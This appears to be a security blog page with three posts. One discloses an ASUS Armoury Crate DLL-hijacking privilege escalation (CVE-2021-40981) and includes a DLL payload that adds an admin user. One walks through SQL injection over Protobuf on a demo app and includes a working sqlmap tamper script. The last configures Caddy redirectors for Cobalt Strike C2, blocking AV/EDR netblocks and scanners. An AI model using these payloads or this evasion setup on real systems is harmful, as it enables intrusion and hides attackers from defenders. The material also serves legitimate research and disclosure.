Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.

By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.

such gaming much 0days gif

Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.

At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe and its child ArmouryCrate.UserSessionHelper.exe. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.

armourycrate arch

It’s hunting season

Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:

  1. Look for CreateFile operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code;
  2. Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
  3. Make sure we can write to - or create the - path from which the DLL is loaded;
  4. Profit!

Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter... and add the following filters:

  • Operation - is - CreateFile - Include
  • Result - contains - not found - Include
  • Result - contains - no such - Include
  • Path - ends with - .dll - Include
  • Integrity - is - System - Include
  • Integrity - is - High - Include

procmon filters

Once you have done that, go back to the menu bar, then Filter->Save Filter... so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter. Now we should see only potential phantom hijackings.

armoury missing DLL

In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\, a thing that happens instead for subfolders of C:\Program Files\. This means there’s a high probability C:\ProgramData\ subfolders will be writable by unprivileged users.

To make sure the CreateFile operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack tab to check the sequence of function calls which lead to the CreateFile operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW:

armoury crate loadlibrary

To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl cmdlet this way:

Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *

This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString tells us BUILTIN\Users have write access to the directory:

armoury acls

A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security tab, click on Advanced, switch to the Effective Access tab, select a user and then click on View effective access. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.

armoury acls gui

Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib we just have to compile a DLL named .DLL and drop it there. We will go with a simple DLL which will add a new user to the local administrators:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
    system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
    return TRUE;
}

Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.

Root cause analysis

Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll, at offset QueryLibrary + 0x167d which is actually another function I renamed DllLoadLibraryImplement (by reversing GameBoxPlugin.dll with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW:

ida call

We have two culprits here:

  1. A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
  2. The ACL of C:\ProgramData\ASUS\GamingCenterLib\ are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again as ArmouryCrate.UserSessionHelper.exe now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard ??????.DLL as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL of C:\ProgramData\ASUS\GamingCenterLib\ in order to give access to the whole directory tree only to members of the Administrators group.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/09/06: vulnerability reported to ASUS via their web portal;
  • 2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
  • 2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
  • 2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
  • 2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;

Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, last out!

Tortellini in Brodobuf

brodobuf

TL;DR

Many developers believe that serializing traffic makes a web application more secure, as well as faster. That would be easy, right? The truth is that security implications remain if the backend code does not adopt adequate defensive measures, regardless of how data is exchanged between the client and server. In this article we will show you how the serialization can’t stop an attacker if the web application is vulnerable at the root. During our activity the application was vulnerable to SQL injection, we will show how to exploit it in case the communications are serialized with Protocol Buffer and how to write a SQLMap tamper for it.

Introduction

Hello friends… Hello friends… Here is 0blio and MrSaighnal, we didn’t want to leave all the space to our brother last, so we decided to do some hacking. During an activity on a web application we tripped over a weird target behavior, in fact during HTTP interception the data appeared encoded in base64, but after decoding the response, we noticed the data was in a binary format. Thanks to some information leakage (and also by taking a look at the application/grpc header) we understood the application used a Protocol buffer (Protobuf) implementation. Looking over the internet we found poor information regarding Protobuf and its exploitation methodology so we decided to document our analysis process here. The penetration testing activity was under NDA so in order to demonstrate the functionality of Protobuf we developed an exploitable web application (APTortellini copyrighted 😊).

Protobuf primer

Protobuf is a data serialization format released by Google in 2008. Differently from other formats like JSON and XML, Protobuf is not human friendly, due to the fact that data is serialized in a binary format and sometimes encoded in base64. Protobuf is a format developed to improve communication speed when used in conjunction with gRPC (more on that in a moment). This is a data exchange format originally developed for internal use as an open source project (partially under the Apache 2.0 license). Protobuf can be used by application written in various programming languages, such as C#, C++, Go, Objective-C, Javascript, Java etc… Protobuf is used, among other things, in combination with HTTP and RPC (Remote Procedure Calls) for local and remote client-server communication, in particular for the description of the interfaces needed for this purpose. The protocol suite is also defined by the acronym gRPC.

For more information regarding Protobuf our best advice is to read the official documentation.

Step 1 - Playing with Protobuf: Decoding

Okay, so… our application comes with a simple search form that allows searching for products within the database.

brodobuf0

Searching for “tortellini”, we obviously get that the amount is 1337 (badoom tsss):

brodobuf1

Inspecting the traffic with Burp we notice how search queries are sent towards the /search endpoint of the application:

request0

And that the response looks like this:

request1

At first glance, it might seem that the messages are simply base64 encoded. Trying to decode them though we noticed that the traffic is in binary format:

term0

elliot0

Inspecting it with xxd we can get a bit more information.

term1

To make it easier for us to decode base64 and deserialize Protobuf, we wrote this simple script:

#!/usr/bin/python3

import base64
from subprocess import run, PIPE

while 1:
    try:
        decoded_bytes = base64.b64decode(input("Insert string: "))[5:]
        process = run(['protoc', '--decode_raw'], stdout=PIPE, input=decoded_bytes)

        print("\n\033[94mResult:\033[0m")
        print (str(process.stdout.decode("utf-8").strip()))
    except KeyboardInterrupt:
        break

The script takes an encoded string as input, strips away the first 5 padding characters (which Protobuf always prepends), decodes it from base64 and finally uses protoc (Protobuf’s own compiler/decompiler) to deserialize the message.

Running the script with our input data and the returned output data we get the following output:

term2

As we can see, the request message contains two fields:

  • Field 1: String to be searched within the database.
  • Field 2: An integer always equivalent to 0 Instead, the response structure includes a series of messages containing the objects found and their respective amount.

Once we understood the structure of the messages and their content, the challenge is to write a definition file (.proto) that allows us to get the same kind of output.

Step 2 - Suffering with Protobuf: Encoding

After spending some time reading the python documentation and after some trial and error we have rewritten a message definition similar to those that our target application should use.

syntax = "proto2";
package searchAPI;

message Product {

        message Prod {
                required string name = 1;
                optional int32 quantity = 2;
        }

        repeated Prod product = 1;
}

the .proto file can be compiled with the following command:

protoc -I=. --python_out=. ./search.proto

As a result we got a library to be imported in our code to serialize/deserialize our messages which we can see in the import of the script (import search pb2).

#!/usr/bin/python3

import struct
from base64 import b64encode, b64decode
import search_pb2
from subprocess import run, PIPE

def encode(array):
    """
    Function to serialize an array of tuples
    """
    products = search_pb2.Product()
    for tup in array:
        p = products.product.add()
        p.name = str(tup[0])
        p.quantity = int(tup[1])

    serializedString = products.SerializeToString()
    serializedString = b64encode(b'\x00' + struct.pack(">I", len(serializedString)) + serializedString).decode("utf-8")

    return serializedString

test = encode([('tortellini', 0)])
print (test)

The output of the string “tortellini” is the same of our browser request, demonstrating the encoding process worked properly.

term3

Step 3 - Discovering the injection

To discover the SQL injection vulnerability we opted for manual inspection. We decided to send the single quote ‘ in order to induce a server error. Analyzing the web application endpoint:

http://brodostore/search/PAYLOAD

we could guess that the SQL query is something similar to:

SELECT id, product, amount FROM products WHERE product LIKE %PAYLOAD%;

It means that injecting a single quote within the request we could induce the server to process the wrong query:

SELECT id, product, amount FROM products WHERE product LIKE %%;

and then producing a 500 server error. To manually check this we had to serialize our payload with the Protobuf compiler and before sending it encode it in base64. We used the script from step 2 by modifying the following lines:

test = encode([("'", 0)])

after we run the script we can see the following output:

term4

By sending the generated serialized string as payload to the vulnerable endpoint:

request2

the application returns HTTP 500 error indicating the query has been broken,

request3

Since we want to automate the dump process sqlmap was a good candidate for this task because of its tamper scripting features.

Step 4 - Coding the tamper

Right after we understood the behaviour of Protobuf encoding process, coding a sqlmap tamper was a piece of cake.

#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY

import base64
import struct
import search_pb2

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        # Instantiating objects
        products = search_pb2.Product()
        
        p = products.product.add()
        p.name = payload
        p.quantity = 1

        # Serializing the string
        serializedString = products.SerializeToString()
        serializedString = b'\x00' + struct.pack(">I",len(serializedString)) + serializedString

        # Encoding the serialized string in base64
        b64serialized = base64.b64encode(serializedString).decode("utf-8")
        retVal = b64serialized

    return retVal

To make it work we moved the tamper in the sqlmap tamper directory /usr/share/sqlmap/tamper/ along with the Protobuf compiled library.

Here the logic behind the tamper workings:

logic0

Step 5 - Exploiting Protobuf - Control is an illusion

We intercepted the HTTP request and we added the star to indicate to sqlmap where to inject the code.

GET /search/* HTTP/1.1
Host: brodostore
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

anon0

After we saved the request in the test.txt file, we then run sqlmap with the following command:

sqlmap -r test.txt --tamper brodobug --technique=BT --level=5 --risk=3

sqlmap0

Why is it slow?

Unfortunately sqlmap is not able to understand the Protobuf encoded responses. Because of that we decided to take the path of the Boolean Blind SQL injection. In other words we had to “bruteforce” the value of every character of every string we wanted to dump using the different response the application returns when the SQLi succeeds. This approach is really slow compared to other SQL injection technique, but for this test case it was enough to show the approach to exploit web applications which implement Protobuf. In the future, between one plate of tortellini and another we could decide to implement mechanism that decode the responses via the *.proto struct and then expand it to other attack paths… but for now we are satisfied with that!

Carrying the Tortellini’s golf sticks

Giving Caddy redirectors some love

tortellinicaddy

The consultant’s life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best.

We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territories…

just to name a few:

and many others…

despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!

As you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument

Why Caddy Server ?

Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform.

The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let’s encrypt with basically no effort at all.

Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need!

Let’s Configure!

1

do you remember byt3bl33d3r’s post listed just above ? (Of course, you wrote it 4 lines higher…) let’s take a cue from it!

First of all let’s install Caddy Server with the following commands:

(We are installing it on a AWS EC2 instance)

sudo yum update
yum install yum-plugin-copr
yum copr enable @caddy/caddy
yum install caddy

Once installed, let’s go under /opt and create a folder named /caddy or whatever you like

And inside create the Caddyfile

At this point let’s populate the/caddy with our own Caddyfile and relative folder structure and configurations

To make things clearer, here we have a tree of the structure we are going to implement:

  1. The actual Caddyfile
  2. The filters folder, which will contain our countermeasures and defensive mechanisms ( wtf are you talking about there is a bunch of crap inside here)
  3. the sites folder, which will contain the domains for our red team operation and relative logfiles
  4. the upstreams folder, which will contain the entire upstreams part
  5. the www folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an exsiting one because we are terrible individuals.
.
├── Caddyfile
├── filters
│   ├── allow_ips.caddy
│   ├── bad_ips.caddy
│   ├── bad_ua.caddy
│   └── headers_standard.caddy
├── sites
│   ├── cdn.aptortellini.cloud.caddy
│   └── logs
│       └── cdn.aptortellini.cloud.log 
├── upstreams
│   ├── cobalt_proxy_upstreams.caddy
│   └── reverse_proxy
│       └── cobalt.caddy
└── www
    └── cdn.aptortellini.cloud
        └── index.html

CADDYFILE

This is the default configuration file for Caddy

# This are the default ports which instruct caddy to respond where all other configuration are not matched
:80, :443 {
	# Default security headers and custom header to mislead fingerprinting
    header {
        import filters/headers_standard.caddy
    }
	# Just respond "OK" in the body and put the http status code 200 (change this as you desire)
    respond "OK" 200
}

#Import all upstreams configuration files (only with .caddy extension)
import upstreams/*.caddy

#Import all sites configuration files (only with .caddy extension)
import sites/*.caddy

2

We decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy files

FILTERS folder

This folder contain all basic configuration for the web server, for example:

  • list of IP to block
  • list of User Agents (UA) to block
  • default implementation of security headers
bad_ips.caddy
remote_ip mal.ici.ous.ips

Still incomplete but usable list we crafted can be found here: https://github.com/her0ness/av-edr-urls/blob/main/AV-EDR-Netblocks

bad_ua.caddy

This will block all User-Agent we don’t want to visit our domain.

header User-Agent curl*
header User-Agent *bot*

A very well done bad_ua list can be found, for example, here: https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-user-agents.list

headers_standard.caddy
# Add a custom fingerprint signature
Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"

X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
X-Content-Type-Options "nosniff"

# disable FLoC tracking
Permissions-Policy interest-cohort=()

# enable HSTS
Strict-Transport-Security max-age=31536000;

# disable clients from sniffing the media type
X-Content-Type-Options nosniff

# clickjacking protection
X-Frame-Options DENY

# keep referrer data off of HTTP connections
Referrer-Policy no-referrer-when-downgrade

# Do not allow to cache the response
Cache-Control no-cache

We decided to hardly customize the response Server header to mislead any detection based on response headers.

SITES folder

You may see this folder similar to sites-available and sites-enabled in nginx; where you store the whole host configuration.

Example front-end redirector (cdn.aptortellini.cloud.caddy)

From our experience ( false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy!

https://cdn.aptortellini.cloud {

	# Import the proxy upstream for the cobalt beacon
    import cobalt_proxy_upstream

    # Default security headers and custom header to mislead fingerprinting
    header {
            import ../filters/headers_standard.caddy
    }
	
	# Put caddy logs to a specified location
    log {
	    output file sites/logs/cdn.aptortellini.cloud.log
	    format console
	}
		
	# Define the root folder for the content of the website if you want to serve one
	root * www/cdn.aptortellini.cloud
    file_server
}

UPSTREAMS folder

the file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations

cobalt_proxy_upstreams

Handle Directive: Evaluates a group of directives mutually exclusively from other handle blocks at the same level of nesting.

The handle directive is kind of similar to the location directive from nginx config: the first matching handle block will be evaluated. Handle blocks can be nested if needed.

To make things more comprehensive, here we have the sample of http-get block adopted in the Cobalt Strike malleable profile:

3

# Just a fancy name
(cobalt_proxy_upstream) {
    
	# This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes)
    handle /ms/* {
       
	    # This is our list of User Agents we want to block
		@ua_denylist {
			import ../filters/bad_ua.caddy
		}

		# This is our list of IPs we want to block
		@ip_denylist {
			import ../filters/bad_ips.caddy
		}

		header {
			import ../filters/headers_standard.caddy
		}

		# Respond 403 to blocked User-Agents
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier site which provides services for the company you are targeting ( sneaky move I know..)
        }

		
		# Respond 403 to blocked IPs
		route @ip_denylist {

             redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier website which provides services for the company you are targeting ( sneaky move I know..) 
        }

	 	# Reverse proxy to our cobalt strike server on port 443 https
    	import reverse_proxy/cobalt.caddy
	}
}

REVERSE PROXY folder

The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected.

Cobalt Strike redirector to HTTPS endpoint

reverse_proxy https://<cobalt_strike_endpoint> {
    
	# This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised
    header_up X-Forwarded-For {http.request.header.X-Forwarded-For}
	
	# Standard reverse proxy upstream headers
	header_up Host {upstream_hostport}
    header_up X-Forwarded-Host {host}
    header_up X-Forwarded-Port {port}
    
	# Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain
	transport http {
        tls
        tls_insecure_skip_verify
    }
}

WWW

This folder is reserved if you want to put a website in here and manually categorize it

Or..

take a cue from those who do things better than we do:

https://github.com/mdsecactivebreach/Chameleon

Starting Caddy

Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile!

sudo caddy start

4

To reload the configuration, you can just run the following command in the root configuration folder of Caddy

sudo caddy reload

Getting a CS Beacon

Everything worked as expected and the beacon is obtained

5

A final thought

This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components.

With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won’t take it personally, promise.

  • There are no more articles
❌